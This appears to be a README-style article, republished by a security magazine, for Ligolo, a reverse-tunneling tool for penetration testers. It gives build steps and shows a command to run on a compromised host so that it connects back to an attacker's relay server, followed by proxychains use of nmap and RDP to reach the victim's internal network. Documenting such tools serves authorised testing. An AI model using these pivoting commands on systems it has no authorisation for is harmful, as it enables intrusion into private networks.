Ligolo: Reverse Tunneling made easy for pentesters, by pentesters


Ligolo is a simple and lightweight tool for establishing SOCKS5 or TCP tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).

It is comparable to Meterpreter with Autoroute + Socks4a, but more stable and faster.

Use case

You compromised a Windows / Linux / Mac server during your external audit. This server is located inside a LAN network and you want to establish connections to other machines on this network.

You can setup a tunnel to access the internal server's resources.

Quick Demo

Relay of a RDP connection using Proxychains (WAN).


Here is a screenshot of a speedtest between two 100mb/s hosts (ligolo/localrelay). Performance may vary depending on the system and network configuration.


Setup / Compiling

Make sure Go is installed and working.

  1. Get Ligolo and dependencies
cd `go env GOPATH`/src
git clone
cd ligolo
make dep
  1. Generate self-signed TLS certificates (will be placed in the certs folder)
make certs

NOTE: You can also use your own certificates by using the TLS_CERT make option when calling build. Example: make build-all TLS_CERT=certs/mycert.pem.

  1. Build
  • 3.1. For all architectures
make build-all
  • 3.2. (or) For the current architecture
make build

How to use it?

Ligolo consists of two modules:

  • localrelay
  • ligolo

Localrelay is intended to be launched on the control server (the attacker server).

Ligolo is the program to run on the target computer.

For localrelay, you can leave the default options. It will listen on every interface on port 5555 and wait for connections from ligolo (-relayserver parameter).

For ligolo, you must specify the IP address of the relay server (or your attack server) using the -relayserver ip:portparameter.

You can use the -h option for help.

Once the connection has been established between Ligolo and LocalRelay, a SOCKS5 proxy will be set up on TCP port 1080on the relay server (you can change the TCP address/port using the -localserver option).

After that, all you have to do is use your favorite tool (Proxychains for example), and explore the client's LAN network.


On your attack server.


On the compromised host.

> ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555

Once the connection is established, set the following parameters on the ProxyChains config file (On the attack server):

# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 1080


$ proxychains nmap -sT -p 80 -Pn -A
$ proxychains rdesktop


Localrelay options:

Usage of localrelay:
  -certfile string
    	The TLS server certificate (default "certs/server.crt")
  -keyfile string
    	The TLS server key (default "certs/server.key")
  -localserver string
    	The local server address (your proxychains parameter) (default "")
  -relayserver string
    	The relay server listening address (the connect-back address) (default "")

Ligolo options:

Usage of ligolo:
    	Attempt to reconnect in case of an exception
  -relayserver string
    	The relay server (the connect-back address) (default "")
    	Skip TLS certificate pinning verification
  -targetserver string
    	The destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server


  • TLS 1.3 tunnel with TLS pinning
  • Multiplatforms (Windows / Linux / Mac / ...)
  • Multiplexing (1 TCP connection for all flows)
  • SOCKS5 proxy or simple relay

To Do

  • Better timeout handling
  • SOCKS5 UDP support
  • Implement mTLS


  • Nicolas Chatelain <n.chatelain -at->


May 26, 2020


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Hakin9 is a monthly magazine dedicated to hacking and cybersecurity. In every edition, we try to focus on different approaches to show various techniques - defensive and offensive. This knowledge will help you understand how most popular attacks are performed and how to protect your data from them. Our tutorials, case studies and online courses will prepare you for the upcoming, potential threats in the cyber security world. We collaborate with many individuals and universities and public institutions, but also with companies such as Xento Systems, CATO Networks, EY, CIPHER Intelligence LAB, redBorder, TSG, and others.
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